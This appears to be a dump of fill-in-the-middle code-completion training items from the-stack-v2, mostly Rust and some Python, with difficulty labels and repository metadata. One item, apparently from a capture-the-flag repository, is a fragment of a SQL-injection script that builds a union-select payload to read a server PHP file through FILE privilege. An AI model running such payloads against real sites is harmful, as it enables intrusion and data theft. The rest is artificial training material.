text
stringlengths
232
16.3k
domain
stringclasses
1 value
difficulty
stringclasses
3 values
meta
dict
<|fim_suffix|>g 1 to A[0], the array is [2,2,3,4], and the sum of even values is // 2 + 2 + 4 = 8. After adding -3 to A[1], the array is [2,-1,3,4], and the sum // of even values is 2 + 4 = 6. After adding -4 to A[0], the array is // [-2,-1,3,4], and the sum of even values is -2 + 4 = 2. After adding 2 to // A[3], the ...
code_fim
hard
{ "lang": "rust", "repo": "leshow/exercism", "path": "/hackerrank/src/sum_of_even_numbers_after_queries.rs", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> wasi_http_tests::in_tokio(async { run().await }) } } wasi_http_tests::export_command_extended!(Component);<|fim_prefix|>// repo: bytecodealliance/wasmtime path: /crates/test-programs/wasi-http-tests/src/bin/outbound_request_get.rs use anyhow::{Context, Result}; use wasi_http_tests::bindings:...
code_fim
hard
{ "lang": "rust", "repo": "bytecodealliance/wasmtime", "path": "/crates/test-programs/wasi-http-tests/src/bin/outbound_request_get.rs", "mode": "spm", "license": "LLVM-exception", "source": "the-stack-v2" }
<|fim_prefix|>// repo: bytecodealliance/wasmtime path: /crates/test-programs/wasi-http-tests/src/bin/outbound_request_get.rs use anyhow::{Context, Result}; use wasi_http_tests::bindings::wasi::http::types::{Method, Scheme}; struct Component; fn main() {} <|fim_suffix|> println!("localhost:3000 /get: {res:?}"); ...
code_fim
hard
{ "lang": "rust", "repo": "bytecodealliance/wasmtime", "path": "/crates/test-programs/wasi-http-tests/src/bin/outbound_request_get.rs", "mode": "psm", "license": "LLVM-exception", "source": "the-stack-v2" }
<|fim_suffix|>::SOCKSConnection as Connection; pub use server::SOCKSServer as Server; pub use socks_error::SOCKSError as Error; pub use address::Address as Address;<|fim_prefix|>// repo: casept/socks5_frontend path: /src/lib.rs mod address; mod auth; mod command; mod connection; mod reply; mod request;<|fim_middle|> m...
code_fim
medium
{ "lang": "rust", "repo": "casept/socks5_frontend", "path": "/src/lib.rs", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>impl<T> From<tokio::sync::mpsc::error::SendError<T>> for NetworkError { fn from(_: tokio::sync::mpsc::error::SendError<T>) -> Self { NetworkError::Send } } impl From<tokio::sync::oneshot::error::RecvError> for NetworkError { fn from(_: tokio::sync::oneshot::error::RecvError) -> Self {...
code_fim
hard
{ "lang": "rust", "repo": "nimiq/core-rs-albatross", "path": "/network-libp2p/src/error.rs", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> let mut best_key = 0; let mut best_score = 1_000_000f64; for x in 0..255 { let decrypt = utils::single_byte_xor(&data, x); let score = freq_analysis::text_score(&decrypt); if score <= best_score { best_score = score; best_key = x; } }...
code_fim
hard
{ "lang": "rust", "repo": "deepinthebuild/cryptopals", "path": "/set3/challenge19/src/main.rs", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|>// repo: deepinthebuild/cryptopals path: /set3/challenge19/src/main.rs extern crate cryptobuddy; extern crate rustc_serialize; use std::io::BufReader; use std::io::prelude::*; use std::fs::File; use std::str; use rustc_serialize::base64::FromBase64; use cryptobuddy::{stream, utils, freq_analysis}; sta...
code_fim
hard
{ "lang": "rust", "repo": "deepinthebuild/cryptopals", "path": "/set3/challenge19/src/main.rs", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>impl Namespace { pub fn new(name: Symbol, mappings: RefCell<HashMap<Symbol, Rc<Value>>>) -> Namespace { Namespace { name, mappings } } pub fn insert(&self, sym: Symbol, val: Rc<Value>) { self.mappings.borrow_mut().insert(sym, val); } pub fn get(&self, sym: &Symbol) -> R...
code_fim
medium
{ "lang": "rust", "repo": "skrapi/ClojureRS", "path": "/src/namespace.rs", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|>// repo: skrapi/ClojureRS path: /src/namespace.rs use crate::rust_core::{AddFn, StrFn}; use crate::value::ToValue; use crate::value::Value; use crate::Symbol; use std::cell::RefCell; use std::collections::HashMap; use std::rc::Rc; <|fim_suffix|>impl Namespace { pub fn new(name: Symbol, mappings: Ref...
code_fim
medium
{ "lang": "rust", "repo": "skrapi/ClojureRS", "path": "/src/namespace.rs", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> = root.borrow_mut(); let (lr, lmax) = zig_zag(rt.left.take(), true); let (rl, rmax) = zig_zag(rt.right.take(), false); let (l, r) = (1 + lr, 1 + rl); let max = l.max(r).max(lmax).max(rmax); (if left { r } else { l }, max) }<|fim_prefix|>// repo: HerringtonDarkholme/leetcode path: /sr...
code_fim
hard
{ "lang": "rust", "repo": "HerringtonDarkholme/leetcode", "path": "/src/1372_longest_zig_zag.rs", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|>// repo: HerringtonDarkholme/leetcode path: /src/1372_longest_zig_zag.rs // Definition for a binary tree node. // #[derive(Debug, PartialEq, Eq)] // pub struct TreeNode { // pub val: i32, // pub left: Option<Rc<RefCell<TreeNode>>>, // pub right: Option<Rc<RefCell<TreeNode>>>, // } // // impl TreeN...
code_fim
hard
{ "lang": "rust", "repo": "HerringtonDarkholme/leetcode", "path": "/src/1372_longest_zig_zag.rs", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>#[derive(Clone, Copy, Debug, PartialEq, Eq)] pub enum ButtonColor { Primary, Green, Red, } impl Button { pub fn new_color(color: ButtonColor) -> Rc<Self> { Rc::new(Self { style: ButtonStyle::Color(color), }) } pub fn new_image(image: Rc<Image>) -> Rc<...
code_fim
medium
{ "lang": "rust", "repo": "dakom/awsm-renderer", "path": "/demo/src/ui/primitives/button/state.rs", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|>// repo: widforss/compiler path: /src/ast/borrowchecker/util.rs use super::{Ast, BorrowError, ErrorKind, Expr, Lifetimes, Literal, State, UnOp, Value}; use std::collections::HashMap; use std::collections::HashSet; const LOCAL_LIFE: &'static str = "'!local"; pub fn borrow_expr<'a>( expr: &'a Expr<'a...
code_fim
hard
{ "lang": "rust", "repo": "widforss/compiler", "path": "/src/ast/borrowchecker/util.rs", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>fn borrow_call<'a>( ident: &'a str, args: &'a Vec<Expr<'a>>, var_id: &mut u64, ast: &'a Ast<'a>, borrowstate: &mut State<(Vec<&'a str>, u64)>, ) -> Result<(Vec<&'a str>, u64), BorrowError<'a>> { let Ast(functions) = ast; let func = functions.get(ident).unwrap(); let mut va...
code_fim
hard
{ "lang": "rust", "repo": "widforss/compiler", "path": "/src/ast/borrowchecker/util.rs", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> #[cfg(not(feature = "repr"))] { let mut simple_enum_features = attributes .parse_features::<EnumFeatures>() .into_inner() .unwrap_or_default(); let schema_as = pop_feature_as_inner!(simple_e...
code_fim
hard
{ "lang": "rust", "repo": "juhaku/utoipa", "path": "/utoipa-gen/src/component/schema.rs", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|>// repo: juhaku/utoipa path: /utoipa-gen/src/component/schema.rs tainer, SerdeEnumRepr, SerdeValue}, ComponentSchema, FieldRename, TypeTree, ValueType, VariantRename, }; mod enum_variant; mod features; pub mod xml; pub struct Schema<'a> { ident: &'a Ident, attributes: &'a [Attribute], g...
code_fim
hard
{ "lang": "rust", "repo": "juhaku/utoipa", "path": "/utoipa-gen/src/component/schema.rs", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|>// repo: juhaku/utoipa path: /utoipa-gen/src/component/schema.rs { let ident = self.ident; let variant = SchemaVariant::new( self.data, self.attributes, ident, self.generics, None::<Vec<(TypeTree, &TypeTree)>>, ); ...
code_fim
hard
{ "lang": "rust", "repo": "juhaku/utoipa", "path": "/utoipa-gen/src/component/schema.rs", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> &[$( $x::TYPE, )*] } #[allow(non_snake_case)] unsafe fn call<Rets: WasmTypeList>(self, f: *const (), ctx: *mut Ctx) -> Rets { let f: extern fn(*mut Ctx $( ,$x )*) -> Rets::CStruct = mem::transmute(f); #[allow(unused_parens...
code_fim
hard
{ "lang": "rust", "repo": "sudosalim/wasmer", "path": "/lib/runtime-core/src/typed_func.rs", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>pub const BOARD_SIZE : usize = 10; #[wasm_bindgen] pub fn create_puzzle(level: usize) -> String { let board = binoxxo::bruteforce::create_puzzle_board(BOARD_SIZE, level); board.to_string() }<|fim_prefix|>// repo: msuesskraut/binoxxo-wasm path: /src/lib.rs extern crate wasm_bindgen; extern crate...
code_fim
medium
{ "lang": "rust", "repo": "msuesskraut/binoxxo-wasm", "path": "/src/lib.rs", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> #[test] fn test_validate_line_type_trip() { if let Trip(result, line_tokens) = validate_line_type("Trip TestName 07:15 07:45 17.3") { assert_eq!(result, "TestName"); assert_eq!(line_tokens, ["Trip", "TestName", "07:15", "07:45", "17.3"].to_vec()); } else { ...
code_fim
hard
{ "lang": "rust", "repo": "iGetSchwifty/kata-rs", "path": "/kata/src/services/file_service.rs", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|>// repo: iGetSchwifty/kata-rs path: /kata/src/services/file_service.rs use std::fs::File; use std::io::{self, BufRead}; use std::path::Path; use super::super::models::data_type::*; use super::super::models::kata_error::*; pub fn read_lines(filename: Box<&Path>) -> io::Result<io::Lines<io::BufReader<File...
code_fim
hard
{ "lang": "rust", "repo": "iGetSchwifty/kata-rs", "path": "/kata/src/services/file_service.rs", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> // // Could be coding to an interface to avoid this and to actually test with mocks.. // Since this is a kata not going to go that far // #[cfg(unix)] #[test] fn test_validate_file_valid() { let new_vec: Vec<String> = vec!["value".to_string(), "/".to_string()]; ...
code_fim
hard
{ "lang": "rust", "repo": "iGetSchwifty/kata-rs", "path": "/kata/src/services/file_service.rs", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|>// repo: singee-study/rust-minigrep path: /src/app.rs pub mod utils; pub use self::utils::search; <|fim_suffix|>pub fn run(config: Config) -> Result<(), Box<dyn Error>> { let file_content = read_to_string(config.file_path)?; let search_result = search(&config.target, &file_content); for l...
code_fim
medium
{ "lang": "rust", "repo": "singee-study/rust-minigrep", "path": "/src/app.rs", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|>// repo: singee-study/rust-minigrep path: /src/app.rs pub mod utils; pub use self::utils::search; use crate::config::Config; use std::error::Error; use std::fs::read_to_string; <|fim_suffix|> for line in search_result { println!("{}", line); } Ok(()) }<|fim_middle|>pub fn run(confi...
code_fim
medium
{ "lang": "rust", "repo": "singee-study/rust-minigrep", "path": "/src/app.rs", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> let search_result = search(&config.target, &file_content); for line in search_result { println!("{}", line); } Ok(()) }<|fim_prefix|>// repo: singee-study/rust-minigrep path: /src/app.rs pub mod utils; pub use self::utils::search; <|fim_middle|>use crate::config::Config; use s...
code_fim
medium
{ "lang": "rust", "repo": "singee-study/rust-minigrep", "path": "/src/app.rs", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> const CA_CERT_PATH: &str = "../../pki/ca.cert"; const CLIENT_CERT_PATH: &str = "../../pki/client.cert"; const KEY_PATH: &str = "../../pki/client.key"; let ca_certs = read_certs(CA_CERT_PATH).unwrap(); let client_certs = read_certs(CLIENT_CERT_PATH).unwrap(); let key = read_private...
code_fim
hard
{ "lang": "rust", "repo": "sammyne/mastering-rustls", "path": "/mutual-auth/client/src/main.rs", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> let domain_name = webpki::DNSNameRef::try_from_ascii_str("localhost").unwrap(); let mut session = rustls::ClientSession::new(&config, domain_name); let mut socket = TcpStream::connect("localhost:4433").unwrap(); let mut client = rustls::Stream::new(&mut session, &mut socket); client....
code_fim
hard
{ "lang": "rust", "repo": "sammyne/mastering-rustls", "path": "/mutual-auth/client/src/main.rs", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|>// repo: sammyne/mastering-rustls path: /mutual-auth/client/src/main.rs use std::fs; use std::io::{self, Read, Write}; use std::net::TcpStream; use std::sync::Arc; use rustls::{self, Session}; fn read_certs(path: &str) -> Result<Vec<rustls::Certificate>, String> { let data = match fs::File::open(pa...
code_fim
hard
{ "lang": "rust", "repo": "sammyne/mastering-rustls", "path": "/mutual-auth/client/src/main.rs", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>#[derive(Debug, Default, StructOpt)] struct CliArgs { #[structopt(subcommand)] subcommand: Option<CliCommand>, } impl From<CliArgs> for Args { fn from(item: CliArgs) -> Self { let subcommand = match item.subcommand { Some(cli_subcommand) => ArgsCommand::from(cli_subcommand...
code_fim
medium
{ "lang": "rust", "repo": "FroVolod/cli_dialoguer_strum_2", "path": "/src/main.rs", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|>// repo: FroVolod/cli_dialoguer_strum_2 path: /src/main.rs use structopt::StructOpt; pub(crate) mod common; pub(crate) mod utils_subcommand; mod consts; mod command; use command::{ CliCommand, ArgsCommand, }; <|fim_suffix|>impl From<CliArgs> for Args { fn from(item: CliArgs) -> Self { ...
code_fim
medium
{ "lang": "rust", "repo": "FroVolod/cli_dialoguer_strum_2", "path": "/src/main.rs", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|>// repo: gloriousfutureio/hermitdb path: /src/memory_log.rs use std::collections::BTreeMap; use std::fmt::Debug; use crdts::{CmRDT, Actor}; use log::{TaggedOp, LogReplicable}; use error::Result; #[derive(Debug, Clone)] pub struct Log<A: Actor, C: Debug + CmRDT> { actor: A, logs: BTreeMap<A, (u6...
code_fim
hard
{ "lang": "rust", "repo": "gloriousfutureio/hermitdb", "path": "/src/memory_log.rs", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>impl<A: Actor, C: Debug + CmRDT> LogReplicable<A, C> for Log<A, C> { type Op = Op<A, C>; fn next(&self) -> Result<Option<Self::Op>> { let largest_lag = self.logs.iter() .max_by_key(|(_, (index, log))| (log.len() as u64) - *index); if let Some((actor, (index, log))) = ...
code_fim
hard
{ "lang": "rust", "repo": "gloriousfutureio/hermitdb", "path": "/src/memory_log.rs", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|>// repo: alexjsteffen/willkamp.com path: /src/pages/mod.rs mod pages; pub type WaymakerPage = pages::WaymakerPage; pub<|fim_suffix|>ctronicsPage = pages::MarineElectronicsPage; pub type HomePage = pages::HomePage; pub type AboutPage = pages::AboutPage;<|fim_middle|> type SoftwarePage = pages::SoftwarePa...
code_fim
medium
{ "lang": "rust", "repo": "alexjsteffen/willkamp.com", "path": "/src/pages/mod.rs", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>ge = pages::HomePage; pub type AboutPage = pages::AboutPage;<|fim_prefix|>// repo: alexjsteffen/willkamp.com path: /src/pages/mod.rs mod pages; pub type WaymakerPage = pages::WaymakerPage; pub<|fim_middle|> type SoftwarePage = pages::SoftwarePage; pub type MarineElectronicsPage = pages::MarineElectronic...
code_fim
medium
{ "lang": "rust", "repo": "alexjsteffen/willkamp.com", "path": "/src/pages/mod.rs", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|>// repo: DuBistKomisch/jakebarnes path: /src/home.rs use chrono::{Local, TimeZone}; use rocket::get; use rocket_dyn_templates::Template; use serde::Serialize; <|fim_suffix|>#[get("/")] pub fn get() -> Template { let age = Local::today().signed_duration_since(Local.ymd(1992, 8, 19)).num_seconds() / S...
code_fim
medium
{ "lang": "rust", "repo": "DuBistKomisch/jakebarnes", "path": "/src/home.rs", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>#[derive(Serialize)] struct HomeContext { age: i64 } #[get("/")] pub fn get() -> Template { let age = Local::today().signed_duration_since(Local.ymd(1992, 8, 19)).num_seconds() / SECONDS_PER_YEAR; Template::render("home", HomeContext { age }) }<|fim_prefix|>// repo: DuBistKomisch/jakebarnes ...
code_fim
medium
{ "lang": "rust", "repo": "DuBistKomisch/jakebarnes", "path": "/src/home.rs", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|>// repo: kyle-mccarthy/blackjack-rs path: /src/blackjack/blackjack_hand.rs use crate::blackjack::hand_value::{HandValue, WithHandValue}; use crate::blackjack::player::PlayerType; use crate::blackjack::wager::{Wager, WithWager}; use crate::cards::{Card, Hand}; use std::sync::Arc; pub enum HandState { ...
code_fim
hard
{ "lang": "rust", "repo": "kyle-mccarthy/blackjack-rs", "path": "/src/blackjack/blackjack_hand.rs", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> let hands = hand.split(); assert!(hands.is_some()); let hands = hands.unwrap(); let hand1 = hands.get(0).unwrap(); let hand2 = hands.get(1).unwrap(); assert_eq!(hand1.get_card_count(), 1); assert_eq!(hand2.get_card_count(), 1); let card1 ...
code_fim
hard
{ "lang": "rust", "repo": "kyle-mccarthy/blackjack-rs", "path": "/src/blackjack/blackjack_hand.rs", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> let out_str = hex::encode(out); println!("{}", out_str); } pub fn challenge_6() { let mut file = File::open("data/6good.txt").unwrap(); let mut all_file = String::new(); file.read_to_string(&mut all_file).unwrap(); let data = base64::decode(&all_file).unwrap(); let key = cryp...
code_fim
hard
{ "lang": "rust", "repo": "jb-abbadie/matasano_rust", "path": "/src/challenge.rs", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|>// repo: jb-abbadie/matasano_rust path: /src/challenge.rs extern crate base64; extern crate hex; use crypto; use std::f64; use std::fs::File; use std::io::prelude::*; pub fn challenge_1() { let input = "49276d206b696c6c696e6720796f757220627261696e206c696b65206120706f69736f6e6f7573206d757368726f6f6d...
code_fim
hard
{ "lang": "rust", "repo": "jb-abbadie/matasano_rust", "path": "/src/challenge.rs", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> let cleartext = String::from_utf8(out.clone()).unwrap(); println!("{}", cleartext); } pub fn challenge_11() { let mut file = File::open("data/11.txt").unwrap(); let mut all_file = String::new(); file.read_to_string(&mut all_file).unwrap(); let data = base64::decode(&all_file).unw...
code_fim
hard
{ "lang": "rust", "repo": "jb-abbadie/matasano_rust", "path": "/src/challenge.rs", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>fn config_linker() { let lib_name = match get_platform() { Platform::Mac => return, // CEF_PATH is not necessarily needed for Mac Platform::Windows => "libcef", Platform::Linux => "cef", }; // Tell the linker the lib name and the path println!("cargo:rustc-link-lib...
code_fim
hard
{ "lang": "rust", "repo": "peter-suggate/cef-sys", "path": "/build.rs", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> fn error_response(&self) -> HttpResponse { let status_code = self.status_code(); let error = self.errorcode(); let message = error.message(); let info = match self { JkError::ValidationError(errors) => Some(errors.to_string()), _ => None, ...
code_fim
hard
{ "lang": "rust", "repo": "ilkkahanninen/juhlakalu", "path": "/backend/src/errors.rs", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>#[test] fn test_where() { let module = make_module( indoc! {r#" -- taken from http://learnyouahaskell.com/syntax-in-functions#pattern-matching str_imc w h = if bmi <= 18.5 then "You're underweight, you emo, you!" elif bmi <= 25.0 then "Yo...
code_fim
hard
{ "lang": "rust", "repo": "lnds/Ogu", "path": "/ogu-lang/src/backend/modules/tests/test_lets_wheres.rs", "mode": "spm", "license": "LicenseRef-scancode-unknown-license-reference", "source": "the-stack-v2" }
<|fim_prefix|>// repo: lnds/Ogu path: /ogu-lang/src/backend/modules/tests/test_lets_wheres.rs use crate::backend::compiler::default_sym_table; use crate::backend::modules::tests::make_module; use crate::backend::modules::types::basic_type::BasicType; use crate::backend::modules::types::func_type::FuncType; use indoc::...
code_fim
hard
{ "lang": "rust", "repo": "lnds/Ogu", "path": "/ogu-lang/src/backend/modules/tests/test_lets_wheres.rs", "mode": "psm", "license": "LicenseRef-scancode-unknown-license-reference", "source": "the-stack-v2" }
<|fim_suffix|> 0x04, 0x00, 0x02, 0x05, 0x12, 0x04, 0xd1, 0x02, 0x08, 0x2a, 0x0a, 0x0d, 0x0a, 0x05, 0x04, 0x00, 0x02, 0x05, 0x04, 0x12, 0x04, 0xd1, 0x02, 0x08, 0x10, 0x0a, 0x0d, 0x0a, 0x05, 0x04, 0x00, 0x02, 0x05, 0x05, 0x12, 0x04, 0xd1, 0x02, 0x11, 0x15, 0x0a, 0x0d, 0x0a, 0x05, 0x04, 0x00, 0x02, 0x05, 0x01,...
code_fim
hard
{ "lang": "rust", "repo": "iomeone/bloodthorne", "path": "/src/dota/dota_shared_enums.rs", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>f, 0x0a, 0x1b, 0x46, 0x41, 0x4e, 0x54, 0x41, 0x53, 0x59, 0x5f, 0x53, 0x45, 0x4c, 0x45, 0x43, 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x46, 0x52, 0x45, 0x45, 0x5f, 0x50, 0x49, 0x43, 0x4b, 0x10, 0x03, 0x12, 0x1b, 0x0a, 0x17, 0x46, 0x41, 0x4e, 0x54, 0x41, 0x53, 0x59, 0x5f, 0x53, 0x45, 0x4c, 0x45, 0x43, 0x5...
code_fim
hard
{ "lang": "rust", "repo": "iomeone/bloodthorne", "path": "/src/dota/dota_shared_enums.rs", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|>// repo: iomeone/bloodthorne path: /src/dota/dota_shared_enums.rs 05, 0x02, 0x02, 0x04, 0x01, 0x12, 0x03, 0x35, 0x08, 0x20, 0x0a, 0x0c, 0x0a, 0x05, 0x05, 0x02, 0x02, 0x04, 0x02, 0x12, 0x03, 0x35, 0x23, 0x24, 0x0a, 0x0b, 0x0a, 0x04, 0x05, 0x02, 0x02, 0x05, 0x12, 0x03, 0x36, 0x08, 0x20, 0x0a, 0x0c,...
code_fim
hard
{ "lang": "rust", "repo": "iomeone/bloodthorne", "path": "/src/dota/dota_shared_enums.rs", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|>// repo: anderslanglands/mdl-rs path: /mdl-sys/src/scene_element.rs use std::os::raw::c_char; use crate::base::Uuid; #[derive(Debug)] #[repr(u32)] pub enum ElementType { Instance = 0, Group = 1, Options = 2, Camera = 3, Light = 4, LightProfile = 5, Texture = 7, Image = 8...
code_fim
medium
{ "lang": "rust", "repo": "anderslanglands/mdl-rs", "path": "/mdl-sys/src/scene_element.rs", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>extern "C" { pub fn IScene_element_release(s: ISceneElement); pub fn IScene_element_retain(s: ISceneElement); pub fn IScene_element_compare_iid(id: Uuid) -> bool; pub fn IScene_element_type_get_iid() -> Uuid; pub fn IScene_element_get_element_type(se: ISceneElement) -> ElementType; }<|...
code_fim
medium
{ "lang": "rust", "repo": "anderslanglands/mdl-rs", "path": "/mdl-sys/src/scene_element.rs", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> /// Sets the smallest dimension mipmap that will be generated pub fn set_mipmap_smallest_dimension( &mut self, smallest_dimension: u32, ) { unsafe { sys::compressor_params_set_mip_smallest_dimension(self.0, smallest_dimension as _); } } /// ...
code_fim
hard
{ "lang": "rust", "repo": "kanerogers/basis-universal-rs", "path": "/basis-universal/src/encoding/compressor_params.rs", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>if __name__ == "__main__": operations_cnt = 0 operations_cnt = int(input()) operations_i = 0 operations = [] while operations_i < operations_cnt: try: operations_item = str(input()) except: operations_item = None operations.append(operati...
code_fim
hard
{ "lang": "python", "repo": "knparikh/IK", "path": "/LinkedLists/super_stack/stack.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>if __name__ == "__main__": parser = argparse.ArgumentParser(description="Run script") parser.add_argument("--config", "-c",type=str, required=False, default="config") args = parser.parse_args() git_state = get_git_state() config = importlib.import_module(f"configs.{args.config}").confi...
code_fim
hard
{ "lang": "python", "repo": "davzha/DESP", "path": "/run.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> def __repr__(self): ret = '<NetworkNFA>\n' ret += ' Charset: {%s}\n' % ','.join(filter(None, self._charset)) ret += ' Nodes: {%s}\n' % ','.join([i.label for i in self._nodes]) ret += 'Terminals: {%s}\n' % ','.join( [i.label for i in self._terminals]) ...
code_fim
hard
{ "lang": "python", "repo": "max99x/automata-editor", "path": "/nfa2regex.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> if type(node) is Node: if type(dest) is set and all([type(i) is Node for i in dest]): if len(dest): if node in self._deltas: if input in self._deltas[node]: self._deltas[node][input] = self._deltas[...
code_fim
hard
{ "lang": "python", "repo": "max99x/automata-editor", "path": "/nfa2regex.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> start_time = time.time() input() seconds = int(time.time() - start_time) mins = seconds // 60 secs = seconds % 60 self.round_times.append('{:02}:{:02}'.format(mins, secs)) play_wav_inline('inhale') self.say('Глубокий вдох. ' + nums("{} минута...
code_fim
hard
{ "lang": "python", "repo": "rudotcom/WHM", "path": "/breathe.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> class Workout: def __init__(self, rounds=3, breaths=30, hold=15): self.rounds = rounds self.breaths = breaths self.hold = hold self.round_times = [] self.lock = threading.Lock() # взаимоблокировка отдельных голосовых потоков def __str__(self): re...
code_fim
hard
{ "lang": "python", "repo": "rudotcom/WHM", "path": "/breathe.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>ber of Columns : %d")%(col) print("[*]Web App Vulnerable with FILE PRIVILEGE SQLI") print("[*]Trying to read content of \'/var/www/html/administrat/panel.php\'") upayload=" union all select 1" for x in range(2,col+1): x=str(x) upayload=upayload+","+x upayload=upayload+" --+" url=url+upayload prin...
code_fim
hard
{ "lang": "python", "repo": "5l1v3r1/HTB_WEB_CHALLENGES", "path": "/FreeLancer/freelance.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> def IsPathWithFilesInCache(self, path): if config.EMC.files_cache.value and self.cacheFileList.has_key(path): return True else: return False def delPathFromCache(self, path): if len(path)>1 and path[-1]=="/": path = path[:-1] print "EMC delPathFromCache", path if self.cacheDirectoryL...
code_fim
hard
{ "lang": "python", "repo": "betonme/e2openplugin-EnhancedMovieCenter", "path": "/src/EMCFileCache.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> elif self.sender() is self.saveModelButtonT: if self.trann is None: reply = QMessageBox.information(self, '模型错误', '模型不存在', QMessageBox.Yes, QMessageBox.Yes) return else: fname, o...
code_fim
hard
{ "lang": "python", "repo": "SizeLee/Graduation", "path": "/UIPack/MainFrame.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> def saveModel(self): if self.sender() is self.saveModelButton: if self.mcbcnn is None: reply = QMessageBox.information(self, '模型错误', '模型不存在', QMessageBox.Yes, QMessageBox.Yes) return else: ...
code_fim
hard
{ "lang": "python", "repo": "SizeLee/Graduation", "path": "/UIPack/MainFrame.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: SizeLee/Graduation path: /UIPack/MainFrame.py eT = QLabel('None') self.presentModelNameT.setFont(QFont('微软雅黑', 16)) labelbox = QVBoxLayout() labelbox.addWidget(label) labelbox.addWidget(self.presentModelNameT) trainingModuleT.addStretch(1) training...
code_fim
hard
{ "lang": "python", "repo": "SizeLee/Graduation", "path": "/UIPack/MainFrame.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|># PORTFOLIO INFORMATION #---------------------Code for Chart Generation----------------------------- sectors=[] volume=[] sorted_volume=sorted(data['sector_volume'].items(),key=operator.itemgetter(1)) length=len(sorted_volume); #Insertion Sort for i in range(length): j=i while(j>0 and sorted_vol...
code_fim
hard
{ "lang": "python", "repo": "ayl4408/CDL-Capital", "path": "/service/upload_profile_information.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>if __name__ == "__main__": solve = Solution() nums1 = [1,2,3,0,0,0] m = 3 nums2 = [2,5,6] n = 3 solve.merge(nums1, m, nums2, n) print(nums1)<|fim_prefix|># repo: annahung31/LeetCode_practice path: /Merge_Sorted_Array.py class Solution: def merge(self, nums1, m, nums2, n): ...
code_fim
hard
{ "lang": "python", "repo": "annahung31/LeetCode_practice", "path": "/Merge_Sorted_Array.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> if hasattr(cls_, 'deleted_at'): items = query.filter(cls_.deleted_at==0).all() for item in items: item.delete() affect_rows = len(items) else: affect_rows = query.filter(*filters).delete(synchronize_session=False) db.c...
code_fim
hard
{ "lang": "python", "repo": "bithaolee/flask-framework", "path": "/app/model/base.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
